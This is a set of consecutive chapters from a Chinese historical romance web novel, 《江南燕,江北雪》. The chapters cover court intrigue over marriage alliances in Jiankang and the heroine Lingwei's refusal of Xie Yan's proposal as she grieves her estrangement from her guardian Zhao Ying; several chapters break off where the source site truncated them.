想起杨尚,王冀心头涌起一股说不出的情绪。年少时,他们皆在洛城中虚度年华。杨尚出身弘农杨氏,四世三公的尊贵身份让他颇有些纨绔习气。斗鸡走马不在话下,辞赋都写得浮华绮丽。曾是洛阳花下客,那时他们饮酒坐乐,写诗奏曲,日子过得逍遥,关系也算得上亲密。 后来杨尚娶了博陵崔氏家的十一娘,婚后便彻底改了性子,不冶游,不饮酒,开始读上圣贤文章了。延庆十三年,东海王作乱,杨尚自请领兵平叛,大胜而还,一夜之间声名鹊起,成了洛城里最受追捧的人物。先帝亲自赐了锦袍给他,并将其封为平南将军,加封给事中。那时,王冀蒙家族庇佑,在司隶校尉手下做了个都官从事,因政见不合,在司隶校尉府郁郁不得志。 宴席上遥遥相望,不过举杯相助,再无秉烛夜谈的可能。 又过了几年,北地匈奴趁乱南下,杨尚便领了兵,自请镇守北地重镇晋阳。而他亦趁内乱,得了先帝青眼,一路擢升为青州刺史,离开了洛城。 先帝曾有意为他们结儿女亲家,王冀听说过,那个闺名叫做灵徽的女郎,是杨尚和夫人崔氏的独女,娇宠的不像样子。可是子昭却很喜欢她。他的长子王愔,是琅琊王家最出众的孩子,连他的阿父太师王禹都赞不绝口。王冀抗不过圣意,拗不过长子,也就答应了下来。 婚事不成,天意乎!所幸那个杨家的女郎识时务,主动拒了婚事,避免了许多麻烦。 一路想着,便到了太极殿,朝会亦如往日般枯燥无聊,左不过是些寻常事,很快也就散了。唯一值得琢磨的,是皇帝在朝会后特地将赵缨留下,请去了太初殿。 扬州刺史一职,王冀认为势在必得,若非谢家那个老匹夫和自己争,此时的诏令早该下了。谢家仗着从龙之功,又有中宫之势,近些年越发猖狂,也不看看禁军在谁手中,诸州刺史又都听命于何人! 若说变数,唯有赵缨一人罢了。 …… 赵缨尚未走至太初殿,便见一队宫人从花木深处迤逦而来。雨渐渐停了,天上浓厚乌黑的云慢慢散开,幽微的天光洒落在宫人的衣服上,深青的罗衣便泛出一丝温润的光华。 “见过使君!陛下方才有些困乏,已摆驾去了显阳殿。皇后殿下说,今日殿中备了上好的茶,若蒙使君 9. 九、圣意 《江南燕,江北雪》全本免费阅读 正说话间,内殿有了动静。宫人上前通报说皇帝醒了,谢后便匆匆往内殿而去,赵缨站起身,躬身立在旁边,手中的盒子放也不是,捧着也不是,十分为难。 “使君交给奴婢吧,奴派人送到宜城君手中,使君放心。”一个声音柔柔传来,与其他人一样穿着深青的衣裳,不过头上的发髻略繁复,应当职位略高于其他人。见赵缨看向了她,那女官微垂了螓首,轻轻抬起了手臂。 面目柔和,琼鼻纤巧,当是个美人。 “奴叫崔兰媛,说起来和宜城君还有些亲戚关系,将军大可放心。”她浅笑,一双眸子慢慢抬起,其间光华流转,果然和灵徽有些相似之处。 赵缨弯了弯唇角,客气地道了谢。 那宫人刚离开,便听到身后皇帝略显慵懒的声音传来:“劳烦玄鉴久等了。” 赵缨正色回身,行叩拜之礼,却被萧祁拦了下来:“玄鉴何须如此,回到内宫,朕便当你是自己人,哪用得着如此大礼。” 今上长着一副温和的相貌,平日里也喜欢笑谑,看着十分宽仁厚道。但是君毕竟为君,赵缨并无和他称兄道弟的愚蠢念头,仍旧将礼节做足,才依吩咐坐了下来。 皇帝的话题,自然是围绕扬州刺史人选来的,他并不遮掩自己的意思,言谈之间颇偏向于谢渊,但仍像是很在意赵缨的意思。 “臣不过是个武夫,对于京中之事也不甚了解。陛下肯与臣商议这些,是对臣的器重和偏爱,故而臣更不敢妄言,误了大事。臣只知尽心竭力为陛下守好荆州重地,抵御胡人南下,万死不辞。”赵缨肃容,答得诚恳。 他长得周正,喜怒不行于色,皇帝自然无法获得他想要的答案,只能悻悻地说:“玄鉴太过谨慎了。” 赵缨笑了笑,并没有接话。 “既然你不愿多言,朕也不勉强……”萧祁笑着摇了摇头,“不过朕此次却有另一件事与你说。” 萧祁摆了摆手,侍从皆散,空荡荡的大殿里只留了赵缨一人。天色依旧昏暗,殿门开合间,一阵风过,吹熄了不少烛火。皇帝的脸就隐在暗沉的光线中,带着复杂难明的神色。 等到殿门重新打开时,已然过去了很久。外面天光大亮,赵缨不由得眯了眯眼眸,掩袖遮挡了刺目的光芒。记得年少时,家里的老人会说,连绵雨天时,午后会有半个时辰风停雨住,这时赶路最合宜。 “陛下,臣该告退了。”赵缨道。 话音未落,身后忽然想起了一阵脚步声,宫人捧着漆盘迤逦而来,盘上盛着珍馐美味,阵阵香气袭来,似乎不打算给人拒绝的理由。 宫人将食物放下后,重新梳妆更衣后的谢后款款而来,对皇帝萧祁道:“陛下与赵使君议事辛苦,妾见已到用膳之时,自作主张张罗了这些,也不知是否合使君胃口。” 谢皇后的聪慧周到引来了皇帝的赞许,他神色愉悦道:“朕难得见你一次,留下来陪朕用膳吧。阿菩,你也一起吧。” 谢后听他叫自己小名,含羞嗔笑,自然也就坐了下来。 赵缨常年在前线,对于食物并无特别要求,一顿饭吃得沉默,只有看到一盘紫苏梅子鸭时,微微怔了一下。 圆月最爱吃酸,可惜这些时日牙疼,想必馋坏了。等她略好些了,便让庖厨给她准备这道菜,爽口开胃,再好不过了。 “这次回京,多住些时日,朕打算帮你把终身大事解决了。”萧祁忽然开口,“你这个岁数,还没有一妻半妾的,那是朕和皇后的失职。” 赵缨一口粟米哽在喉口,差点咽不下去。 皇后见此情景,也跟着打趣:“赵使君如此才貌人品,便是降个公主于他,都觉得委屈。”说罢,又忽然想到什么,拊掌笑道:“妾倒是想起了,豫章长公主今年刚满十六岁,乃先帝中宫所出,相貌性情都好,看着和赵使君很相配,陛下觉得呢?” 赵缨终于咽下了食物,但脸色却不见晕红,而是有些苍白。 皇后不是随意开玩笑的人,她说出口,必定经过深思熟虑,只是不知道这到底是皇帝的意思,还是谢家的意思。 “卿可有为难之处?”皇帝忽然明察秋毫起来,关切地问道。 赵缨不敢再迟疑,斟酌着回答:“臣出身卑微,长公主何等金尊玉贵之人,臣不敢高攀。” 萧祁不满这个回答,摆了摆手:“你战功卓著,乃是朕 10. 十、退缩 《江南燕,江北雪》全本免费阅读 赵缨一路上都在想着谢后的话,心中有无数交错的情绪翻涌,无法捉摸的忧虑,难以言说的失落,让人忧虑的抉择……车马停在了青溪桥,眼看就要到景阳里。这是他在建康的私宅,回来的次数有限,但还是留了老仆看家。 建康城的王公豪族多在城东,沿着淮水而居,其中最出名的便是王谢两族所居的乌衣巷。景阳里距离乌衣巷不远,风景十分秀美。赵宅不大,但为了贴合他的身份,亦修建的十分华丽,位置也显眼。 赵缨让侍从将马车停在府门口,然而人却未走下。他踟蹰了一会儿,终是选择过家门而不入,直接出城。 雁回山美则美矣,终究离城太远,灵徽住在那里他实在放心不下。若得了机会,劝她搬回城中,也不用特地建府,就住在景阳里就好。反正他也没有太多机会回来。 只是这一次……他或许要多住些日子了。对外给出的理由是,他旧伤复发,需要在建康休养一段时间。正好趁着机会,多接触些闺秀,早日成婚。但赵缨心里清楚,他的任务很重,动辄便有性命之危。 他一向将生死之事看得淡,只是不放心圆月。在安顿好圆月之前,他不敢有事,更不敢死。他要做圆月最大的依仗,让谁都不敢轻慢她,欺辱她。 达达马蹄踏过横桥,赵缨靠在车壁上,揉着眉心。一夜未眠,晨起尚无感觉,此时反而觉得疲惫不已。赵缨刚想睡一会儿,却忽然听到外面人声嘈杂,像是有什么大事。 “快去看傩戏,益州来的傩戏。”有人喊道。 天下纷乱,但建康还算安定,随着偏安日久,此处更是显出日渐繁盛的局面。沿河两边商贩林立,叫卖之声此起彼伏,有些商家为了招揽客人,会想各种各样的办法。快到端午,舞傩就成了这几日最受欢迎的项目,其中尤以益州傩戏为翘首。 “将军,人群阻住了路,车马行不得啦!”车夫说道,等着他拿主意。 按理是要绕道而行的,然而他今日却鬼使神差的想凑这个热闹,便下了马车。圆月以前最爱看这些,若真的热闹有趣,他明日便将她带来看。 人群攒动,比肩继踵,层层叠叠围着,他饶是个头甚高,仍旧看不见舞傩的身影。然而,四下张望间,他却忽然愣在了原地。 眼睛看向的地方,一个女郎高坐楼宇之上,半个身子探向窗外,正笑得开怀。那是一张泼墨山水般的脸,并不浓郁的五官嵌在精巧白皙的脸上,偏就有动人心魄的韵致。她身旁的男子却生得昳丽,那双眼眸桃花一般,纤长浓密的睫一眨一眨,俊美的有些女气,但气质却阳光清爽,磊落不凡。 那两个人便是灵徽和谢衍。 赵缨的心口悄然涌起一丝莫名的苦意,就像是一根小小的刺,突兀地扎在了柔软的地方,痛意并不强烈,但绵绵密密的,怎么都无法忽视。 有什么好失落的呢,他们原本就是极般配的,无论是样貌还是出身。 知道谢衍有心于圆月后,赵缨曾调查过他。这是一个身份履历都干净的无可指摘的男子,有兄长承担家族重担,有长姊在朝为后,双亲健在,性情豁达,为人善良……那是一种自己一生都不敢奢求的幸运。圆月飘零多年,失了依祜,若是能嫁给谢衍,便可得到安稳无虞的人生。 皇后不也是这个意思吗?哪怕明知道皇后的图谋是什么,谢家又在想什么。但他既然答应过师父,圆月和他就会永远都是荣辱与共的关系。用他的军功和权力做她的依仗和靠山,他甘之如饴。 为什么要失落呢?若是让她知道自己的关心和爱护里掺杂了贪念和欲望,她一定会觉得无比龌龊,从此后也会和他疏远吧。 只要远远看着就好,他的圆月,永远都会是他的亲人。 再抬眼时,窗口的人却不见了,好像方才只是他的错觉。人声依旧鼎沸,越来越多的百姓向着这边聚集。赵缨觉得嘈杂,吩咐车夫掉转马头:“回府吧,不去城外了。” 白壁丹楹,飞檐反宇。哪怕久不住人,他的府邸还是华丽又干净,每一处花卉都受了精心打理,用最好的状态等待着主人的归来。 然而终究空寂。 赵缨不惯人侍候,独自去内室换下了朝服,顺便卸下了穿在里面的金丝甲。随着最后一层衣物脱下,他强健紧实的后背上那些密密麻麻的伤口就暴露在了潮热的空气中。纵横交错的伤疤,仿佛蛛网般盘布在 11. 十一、灯火 《江南燕,江北雪》全本免费阅读 灵徽送衣时,外面风雨正急,细密的雨丝从西面八方袭来,哪怕撑了伞也阻挡不住。这时节的气候就是这样,明明午后已经有了见晴的趋势,晚上雨还是来了。 不知为什么,心口那个地方绞疼的厉害。 她鼓足勇气,将过往的伤疤揭开,让他知道。以为彼此是最亲近的人,他会一如既往的保护她,心疼她,与她站在一处同仇敌忾。然而,他就那样转身离开,甚至再也不肯来看她。 她以为自己看透了人性,也单纯执拗地觉得赵玄鉴永远都是个例外。找了无数说服自己的借口,硬着头皮借着观傩下山,甚至出现在了他必须要经过的路口。他分明看见了自己,却立刻就转身离开,好像她的突兀出现,让他觉得羞耻,让他觉得不堪。 这个世上,谁都可以伤她,赵缨不可以啊! 想着想着,泪如雨下,脚步都有几分踉跄,却也想明白了很多。前方的路,荆棘丛生,风雨交加,不能携手同行,那她便一个人走。 “女君,你怎么了?”云阁见她神色有异,不由担忧万分。 还好,雨丝落在脸上,混了泪水,谁也看不到她的脆弱和伤心。有多久没哭,好像已经记不清了,所有的眼泪都在阿父殉城那日留了个干净,就算是将银刀刺入腹中,眼看着血流不止时,她也忍住没有哭。 灵徽摆了摆手:“没事儿,咱们回山吧。” “马车不在这边停着。”云阁想要阻止她踉跄而行的脚步。谁都能看出她的难过,但她仍倔强着掩耳盗铃。这样的女君,让人心疼。 云阁不知道发生了什么,她明明只错过了三年,但忽然觉得她已错过了太多太多。三年,足够时移世易,足够人事全非。 “云阁,陪我走一走吧。”灵徽淡声吩咐,然后只身走向了无边丝雨之中。雨水像是带着一种神秘的力量,能将许多刻意遗忘的东西,从尘封的记忆里捡拾出来。她的脑中出现了那张刀削斧凿般的脸,那个人的眼眸过于漆黑幽深,看着她时,如狼阴沉锐利。 “你总想逃离,可你知不知道,你回去的那个家国,早就不是你曾经的家国了。你阿父守着孤城半生,不过是给那些骄奢淫逸的蠹虫提供了更恣意妄为的机会。前方浴血奋战,后方纸醉金迷,这就是你们汉人口中的大义?徽儿,你在我这里是人人尊敬的小夫人,回去了只会是一个人人可欺的孤女。没有人会敬你的大义忠贞,只会暗自耻笑你流落胡族多年,失了清白。”那个人的声音徘徊在耳边,带着清冷的梅香气。 “大王莫不会以为能困我在这里一辈子吧?家仇未报,沦为妾侍,眼睁睁看着你们鲜卑人与匈奴人一样,践踏我们的土地,伤害我族的百姓?”她轻声嗤笑,并不因为处境困顿而折损了骨气。 “我们拭目以待,看看你能不能逃,看看你期待的所有事情会不会发生?”那句话仿佛是一句警告,也像是一种诅咒,让她午夜梦回时仍会冷汗涔涔。 也不全都是恨啊,但恨总比爱要来得清晰,记忆的也更加深刻。她有时也在迷惘,自己恨的究竟是那个叫做慕容桢的男人,还是当初无能怯懦的自己,抑或是这个乾坤失序,混乱扭曲的世道。 白骨参天,红烛罗帐,碧血染地,酒池肉林…… 就这样茫然地沿河走着,路好像永远都没有尽头一般。云阁的衣衫有些湿,灵徽将自己的披风解下,不由分说地裹在了她的身上:“你小时候身体不好,顾阿嫂怕你受风寒,穿得总比别人多一些。” “女君都记得……” “云阁,你说要是一切都还是三年前,该有多好。”她的惆怅如同淮水上的雾气,惹得云阁的心也觉得湿漉漉的。若是一切都回到三年前,该有多好,那时胡马还被阻在雁门关外,中原还没有变成一片焦土,她的阿母还活着,她虽然是杨府的家生奴婢,但也过着体面尊严的生活。 “人总是要向前看啊,女君才十八岁,还有许多好日子在后面呢。都 12. 十二、卦辞 《江南燕,江北雪》全本免费阅读 漫长的梅雨季终于结束,久违的阳光终于出现,虽然还带着潮湿的气息,但仍能让南渡不久的人欣喜若狂。 云阁和星台打闹着晾晒被褥,灵徽坐在廊下半眯着眼睛晒太阳,手上握着一只精巧的药包,时不时放在鼻尖嗅一嗅。 先前那个给她看病的医女,听说是家中世代行医的,所以技艺十分出众。不过几副药下去,效果倒是比玉清真人的药包还好一些。只不过灵徽已经习惯了那药包的味道,时不时拿出来嗅一嗅,胸闷气短顿时就好了。 “女君怎么不留下那个医女,她医术好,脾气好,长得也秀气。”星台干完手中的活,忍不住抱怨。 偌大的道观,只有几个仆从,好容易来了一个温柔懂事的,女君还不要人家。 “成日里和我这个出家人待在一起,的确太寂寞了些。”灵徽慢慢睁开眼睛,望着庭中的那棵巨大的榕树,抿了抿唇。 “可她是赵将军送来的人啊,迟早要回荆州的。” 这话说的孩子气。 云阁对星台努努嘴,前些日子还一口一个阿兄,这几日就生分成了赵将军。 那日送衣回来后,女郎就很古怪,她也没多问。可谁知过去十多天了,赵将军却毫无消息,再未上过山。想来也是个粗心的,不知道哄女孩子有个时机,过了便淡了。 “过几日豫章长公主在乐游苑那边安排了晏集,也给女君下了帖子,女君不准备去看看吗?”云阁笑着转移了话题。 “我一个出家人,何必凑那个热闹。”灵徽拿起了便面①,轻轻扇着,显然对此并不感兴趣。 “谢郎君才不会答应呢,此次他可是多番相请,连衣服首饰都送了好几套。”星台对谢衍很有好感,那般温柔和善的郎子,平日里又能见到几个。 “听说整个建康城的贵女都会去,那些世家儿郎也会趁此机会相看未来妻室。曲水流觞,吟诗品画,斗茶投壶,射覆捶丸……比洛城那时花样还多,女君不想去看看么?” “方外之人,凑什么红尘热闹。”灵徽仍旧不为所动。 星台和云阁满脸失望。 “若是皇后殿下亲自相请,女君去还是不去呢?”温柔悦耳的声音陡然响起,不知什么时候,榕树下已经站着一个修长玉立的身影。谢衍穿着一件天水碧的袍服,内里是洁净雪白的襌衣,盈盈笑着,仿佛一幅画。 他果然跑熟了,连郑叟都已经习惯,半点都不阻拦,甚至连通传都免了。 不知方才的话被他听去了几句,灵徽有些讪讪,顺势拿便面遮住了脸,扭过头去装作要睡的样子。 谢衍一向好脾气,浅笑一声,缓步过去坐到她身边,拿起便面替她扇起风来。云阁他们见状,笑着退了下去。 “当真不去吗?”半晌后,见她睫毛翕动,便知她并未睡着,于是谢衍低声问道。 “天气太热,不大想动弹。”灵徽声音闷闷的,带着倦意。 “那日皇后殿下也要到场,她专门和我说,想要见见你。”谢衍的语气里藏不住的欢喜之意,意有所指地说。 皇后是他的胞姊,专门想要见她一面,大概是什么意思,猜也能猜到几分。 她没有那么多矫情的心思,如同当年在洛城的闺中一般,将情爱看做天底下头等大事,心中存着非谁不可的妄念。更何况眼前这个人,她并不反感,甚至愿意好好相处。 但是,刚拒了王家,又有了谢家,听着热闹,却处处都是古怪。 纵然杨家门第甚高,但族人南渡者甚少,她家这一支更是人口凋零,远没有人人攀附的道理。除非有更诱人的筹码和代价。这个代价是什么,她暂时想不出来,不过一定是她无力承受的。 她的愿望从来都不是嫁入高门,庭院深深,不是养尊处优,得享安闲,不是相夫教子,隐姓埋名。 她的愿望,是被仇恨催发的火焰,熊熊燃烧着收拾河山的野心。她想要攻入长安,斩下刘棼的头,想要收复晋阳,看看阿父坚守了一生的城池,想要让北地的河山重回旧日模样,让在胡人马蹄下痛苦挣扎的人回到家园。 她知道这条路有多难,一个小女子能在这个乱世好好活着,已经算是极大的幸运。是她看不开。 “玉清真人留了许多书,我闲来无事翻了翻,学了些扶乩占卜之法,七郎可愿一试?”灵徽看着谢衍,眼波微动,忽然笑意渐生,道。 “我一向不信鬼神之说……”谢衍有些有意,本能想要拒绝。可是她的尾音那么软,她第一次这样叫自己…… 灵徽见他为难,枯了 13. 十三、宴集 《江南燕,江北雪》全本免费阅读 谢衍看着灵徽带笑的眼眸,这一刻忽然有些恍惚。 他其实一直厌恶打打杀杀什么的,圣贤以德治天下,如今天下纷乱,便是不通教化,德行不修之故。 如今天下人多尊崇黄老之说,好清谈,喜放纵,哪怕是士大夫也不思天下大任,只图及时享乐。 他不一样,虽生于钟鸣鼎食之家,心中念得确是重拾礼教之义,游历天下,修编史书,开坛讲学,传习天下。 他并不想对她隐瞒。 “果真卦象如此吗?”他浅浅笑了一下,忍不住将她的手攥的更紧了些,自以为耐心温和,“也是可惜,我志不在此,并不想要去博什么军功。比起庙堂之高,我或许更向往江湖之远。” 灵徽虽然仍带着浅笑,但是眼中希冀的光芒,肉眼可见的暗淡了下去。被他握着的手有些僵,慢慢抽回的刹那,心也慢慢变冷。 “灵徽?”他尝试着去喊她的名字,不想再用疏远客气的称谓,让彼此的关系始终僵在不远不近的尴尬中。 灵徽瞬了瞬眸子,重又收回了方才的恍惚和失落,只用温柔低缓的调子回答道:“天命之事,谁又可知呢?卜卦扶乩之事本就虚妄,权当一乐罢了。” 说罢,她又煞有介事地占了几卦,对照古籍比比划划,不时回头问他其中奥妙,俨然好学的学生一般。 宴集的日子很快就到了,这一日阳光很好,天色干净如水洗过的琉璃。 乐游苑在城东北,地形高显,下临城阙,花木如锦,竹柏成林。南渡后,以其风景秀逸为皇帝萧祁所钟爱,于是逐渐成了皇家园林。公主王孙多在此修建别苑,一时廊庑相连,宛若蓬莱仙境般。 灵徽今日装扮依然简素,不过一件浅青色的襦,配着素白的罗裙,唯一亮色便是那件黄色的锦半臂,还是皇后所赐,无法推拒。 灵徽不欲惹人注目,但即使淡扫蛾眉,一出现时仍旧引来不小的议论。 或许是身份的特殊,或许是经历的复杂,或许与容貌相关,或许与传言相关。总之她是个风波中心的存在,无论怎么掩藏,也免不了遭受流言和侵扰,眼神的凌迟。 不过她全然不在意。 一双水眸敛得平静无波,梨花面容仍旧清冷,穿着虽然简素,但仪容气度却端庄的无可指摘。 “到底是弘农杨氏的女郎,容止甚美。”谢后坐在莞席之上,头顶的绿杨遮蔽出一大片阴凉,她清秀的容颜便隐在一片树影下,斑驳出绰约的柔美。 谢后比上一次见面略丰腴了些,因而一笑起来更显得温和。她说话时,无意识地抚着小腹,灵徽这才注意到,那里已经微微隆起,已然四五个月的样子。 皇帝萧祁已然而立,膝下却只有一个皇子,为原配赵氏所生,如今已有八岁。朝中曾有人提起立储之事,但萧祁显然不为所动。长子有名有份但并无一个显赫的外家支持,就算立为储君,地位也不会稳固。因而谢皇后这一胎,倒像是众望所归了。 皇后的夸赞立刻引来了一片附和之声,几位贵妇人上下打量着灵徽,不免又说了许多当年之事。 “你阿母是博陵崔氏贵女,闺中时我们唤她‘十一娘’。那风骨仪容皆是佼佼,洛城中谁不跟着模仿……”一个敷着厚重脂粉的贵妇人笑着说道。她生着一张富态丰腴的脸,眉眼弯弯,笑容可掬,看着确实有几分面熟。 “这是相州刺史陶襄的夫人裴氏,仁安皇后的妹妹。”身后有人提醒,声音清朗,好闻的沉水香气让热气蒸腾的夏日都有了几分清气撩人。 先帝的皇后裴氏在洛阳城沦陷后,落入匈奴人手中,坚贞勇烈,投缳而死。南渡后,朝局渐稳,为安天下之心,朝廷特从匈奴人那里讨回骸骨,为其举行了盛大的葬礼,并追封为“仁安皇后”。 灵徽回头,果然看到谢衍就坐在身旁的莞席上,一身月白色的袍服穿在身上,气质干净,仪态大方。他正在处理一颗葡萄,纤长白皙的指不过三两下便剥好了,然后顺手就递到了她的面前。 席间的夫人们哪个不是眼明心亮之辈,看着小国舅的神态动作,哪有不明白的,立时便有笑谑声传来。 灵徽素来清冷自持,此情 14. 十四、拒婚 《江南燕,江北雪》全本免费阅读 贵人说话,讲究的是点到为止。皇后虽未言明,但意思已经很明显了。众人看着谢衍和灵徽,笑意暧昧。 既然没有直接赐婚,便还有转圜余地。 灵徽像是未听懂皇后的话,依旧带着浅淡的笑容,矜持的刚刚好:“臣女哪敢高攀天家,若蒙殿下不弃,臣女愿应召时时入宫,为殿下解忧。” 坐在皇后下首的妇人,样貌与皇后有几分相像,十分心直口快,见灵徽不解皇后之意,于是笑道:“女君尚未成亲,不如考虑一下我家七郎?” 灵徽赧然,言语却冷静:“夫人说笑了,妾蒲柳之姿,哪里高攀得起谢家七郎。何况家孝在身,父仇未报,不敢言婚嫁之事。” 她说得谦恭又认真,想来不是玩笑。 谢衍的笑容一寸寸消散,清俊的脸上写满了不可置信。他所以为的水到渠成,原来不过是一厢情愿。他怎么也没有想到,昨日还和自己心意相通的女郎,如何就这般拒绝了这场人人都艳羡的婚事。以这般委婉却决绝的方式。 灵徽没有看谢衍,只是垂眸沉默。 既然皇后未点破,那便算不得抗旨。她的理由无懈可击,又不能让人轻易指摘。 裴夫人有些惋惜,认亲的女儿若是和谢家结了姻亲,对于她来说百利而无一害。于是叹了口气,劝说道:“你是个懂事的孩子,你阿父阿母在天之灵能明白你的孝心。可是也得考虑自己的终生啊,总不好一直做个女冠,荒废了大好的年华。” 灵徽却摇了摇头,十分执拗:“阿父之仇不报,灵徽不会出嫁。” 拒绝的话无论多委婉,难免会让人心生不快,尤其面对的还是尊贵的一国之母。皇后面上并无任何不满之色,还赐了灵徽一支步摇,嘉奖其忠烈。但兴致却有些缺缺,不一会儿便以更衣为借口,离了席。 灵徽见此,也向诸夫人告了退。 沿着竹林缓步而行,身后的星台不住抱怨:“女君看到谢郎君的脸色了吗?真可怜见的,您这样拒绝他,他该多伤心啊!” 云阁也有不解:“得亏是谢郎君,他性子温和,若是换做别人,定要记恨女君了。” 灵徽神色未变,仍旧冷冷地,眼眸深处的冰雪却慢慢消融,露出一丝柔软:“我昨日问过他……他既然无心于征战,到底是道不同,不相为谋。” 他既然志不在此,万没有勉强的道理,否则对他也不公平。 幽篁深处一弯曲水绕过,水流潺缓,清澈见底。灵徽走累了,寻了个石头坐了上去,静静听水声,遥遥可闻人语细细,丝竹生生。左右无人,也不用端持仪容,她坐姿舒展,心境也开阔起来。 若是谢衍知道她的过往,或许会感激今日的错过。她经历复杂,并不是什么佳偶良配。 一阵风过,龙吟细细,疏竹潇潇,也带来了一阵馥郁的香风。一阵脚步越来越近,笑声也越发清晰。 听着还不止一个。 灵徽不想让人打扰自己的清净,拉着云阁她们,绕到了一处花木之后。 片刻后,几个华服丽人经过,走在后面的几个女郎打扮得如同花树一般。五颜六色的衣裙绮丽繁复,头上珠宝收拾琳琅炫目,腰上挂着各色饰物,走起路来叮当作响,甚是招摇。 走在她们前面的人,尤其突出。 那女子生得高大丰丽,头上繁复华丽的发髻,却压得她脖子都舒展不了一般,但她依旧挺着脊背,昂着头,走得高傲。 豫章长公主。 “你说赵使君今日也来了,怎么不见?”她扭头问身后,声音慵懒。 她身后跟着的并非寻常婢子,而是侍从女官和朱衣宦官,迤逦一路,权势煊赫,人多势众的排场。 豫章长公主身份十分特殊,她并非成都王一脉,而是实实在在的先帝骨血。洛阳被攻破后,先帝子嗣多被屠戮,唯有幺女躲过一劫,辗转流落,后来自己逃过江来。萧祁怜悯她的悲惨遭遇,又一向以正统自居,自然对先帝唯一血脉大加封赏。不仅加 15. 十五、长主 《江南燕,江北雪》全本免费阅读 转眼已过去了一个时辰,离席太久难免惹人非议。 因接下来是正宴,灵徽特地换了一件浅碧色的襦裙,下面虽仍是素白的绫裙,不过这条绫裙上绣着银色的忍冬花纹,行动起来便如月华一般皎洁流动,看上去工艺不凡,衬得她越发眉目秀致,清丽绝伦。 绕过几处花园,沿着水边的石子路一直往前,穿过湖边架起的回廊,远远便看见一处粉墙青瓦的精致阁楼,名为“追月”。这便是宴席所在的地方。 此时阁中只有几个人影,皆是年轻女郎,穿得娇俏,妆容也鲜亮,见灵徽进来,便有窃窃低语声。灵徽恍然未见,踱步到了窗边,斜斜倚在栏杆上向外望。 阁下群芳掩映,远眺一池湖水,湖上菡萏初发,半池朱华袅袅娜娜,熏风过处,满室荷香。 视线转向另一处,灵徽却是一愣。 说起来,主办者也是有心,就在这座阁子的不远处,另有一阁相互呼应,距离不算远,绰约可见人影,细细可闻人声。男客便都集中在了那一处。 此时和她一起凭栏而望的人,不是别人,正是多日不见的赵缨。 视线相撞,皆是怔愣。他这些日子瘦了许多,看着却越发修长提拔。轮廓清致的脸上一如既往的严肃,那双幽黑明亮的眸子里仿佛沉淀着湖水的朦胧湿气,看不透其中蕴藏的情绪。 灵徽没有躲避他的目光,却也没有更多的情绪。只是看着,只是沉默。 不知为什么,积蓄了多日的委屈,在看到他的那一刻开始,便有决堤的风险。装得再平静,通红的眼圈,颤抖的唇角都选择了出卖她。 她选择认输,没有再看他,转身去拭了拭眼角,尽力露出一个僵硬的笑容。 灵徽没有注意到,对面的阁楼中,还有一道目光一直追随着自己。看着她的失神,看着她的落寞,看着她茫然无措的躲避。 王愔低头苦笑。原来她不是没有心,只是将心移到了别处。女子薄情起来,比男子更残忍,她放手的如此果断,连个眼神都不肯再给自己。 可是这个赵缨又凭什么? 杨尚活着时,赵缨俨然家奴一般,鞍前马后,勤勤恳恳,往来奔波于晋阳和洛城之间。既要随军历练,又要帮杨尚照顾着家中的老幼。他家族式微,为人虽然沉稳有度,也略有军功,但始终不得重用,只能紧紧攀附着杨家。 王愔从未将他放在眼中,也不会计较他和灵徽那些自小习惯的亲密,毕竟内外有别,将来迎娶灵徽的人,只能是他。皇帝赐婚,父母之命,谁也不能更改。 可惜,天下倾覆的猝不及防,当年那个金口玉言的至尊,早就死在了匈奴人手中。而她的命运,也随着父亲的殒命和北地的陷落飘摇如枯叶,兜兜转转三年,哪怕人好好回来了,却也不复当年。 她宁愿对着一个家奴悲伤失落,也不肯再给自己一个破镜重圆的机会。 自甘堕落,无可救药。 阁中人陆陆续续到齐,装扮愈发精致高雅的皇后和本次宴集的发起人豫章长公主也终于姗姗来迟。 贵女命妇依礼而坐。灵徽是宜城君,位比县主,因而位置还算靠前,能清晰地听到皇后和豫章长公主的谈话,也能窥到她们细微的表情。 “那位便是杨家女了。”豫章长公主身边的侍婢低语道。 豫章长公主曼目一瞥,见灵徽虽一身简素,但容颜气质在众多贵女中,仍是佼佼,美得不可方物,不免又多看了几眼。 她听皇兄说起过赐婚的事情。赵缨的拒绝并不算婉转,其中最重要的便是这位杨氏的归宿。 若说相依为命的兄妹之情,倒也说得通。可分明他们没有任何血缘,而且她还生得这样出众。 大约是感觉到了注视的目光,灵徽转眸看向了豫章长公主。烟水空蒙的一眼,婉转出整个江南的柔丽,轻轻一笑,是云破月来的美好。 豫章胸口有些闷,执酒的手都有些艰涩起来。 “果真好颜色。”她勾起一个明艳的笑容,仿佛也很欣赏美人。 侍婢听 16. 十六、羌笛 《江南燕,江北雪》全本免费阅读 相比这边的静默,对面的阁楼上确是令一种光景。郎君们饮了一会儿酒,有的已开始趁着酒意即兴赋诗,有的引袖挥毫,展示自己勤学苦练的书法,有的则投壶为戏,姿态闲适。 众人对今日宴集的目的心知肚明,有心往这边相看,寻个机会邂逅佳人,更想展示自己的才情风仪,博个风流雅士之名。 所以一看到对面投射而来的目光,他们的表现得就更加卖力了。 当然也有例外。 小国舅被拒了婚,今日颇为失落。他的书法本是一绝,但显然并没有展示的想法,只是坐在角落自斟自饮。远远看见对面的女子,仍就是不染尘埃的清冷,也没有随着众女一起看向这边,只是一个人坐着,神色十分寂寥。 原本是生气的,可是看到这样的她,又禁不住软了心肠,只剩心疼。 “元和一向不爱饮酒,怎么今日一杯又一杯。若是喝醉了,皇后殿下少不了又要斥责了。”身着雪青色长袍的男子坐在了谢衍身边,开口取笑道。他们年岁相仿,一起玩闹着长大,说起话来自然并不避忌。 若是平常,谢衍最多打趣回来,然而今日却闷闷的,脸上带着失落的神色。 “崔子瑜,你今日穿得花枝招展的给谁看,怎好意思取笑元和?”另一个竹青长袍的秀雅男子也走了过来,上下打量了一番从头到脚都收拾的精致的崔家二郎,帮谢衍怼了回去。 崔珣脾气向来不错,指着来人对谢衍道:“桓十三方才那剑舞得,恨不得让对面的贵女都看过来。你一向洒脱不羁,今日这般又是为何?莫不是也有了中意的女郎?” 这个“也”字用的就很妙,说完,两个人一齐看向了谢衍,脸上带着暧昧的笑容。 谢衍却是不理两个好友,自顾自地又斟满一杯,仰头喝下。 “你是最豁达不过的人了,何必纠结于儿女之事。你谢元和若是还愁妻室,那我们这些人就该孤独终老了。”桓临之拍了拍谢衍的肩膀,将他手里的酒杯顺势拿走,又塞了个玉笛给他。 “听说赵缨的羌笛吹的好,咱们虽然不会那胡人乐器,也断不能输阵,让个乡巴佬抢了风头。”桓临之道。 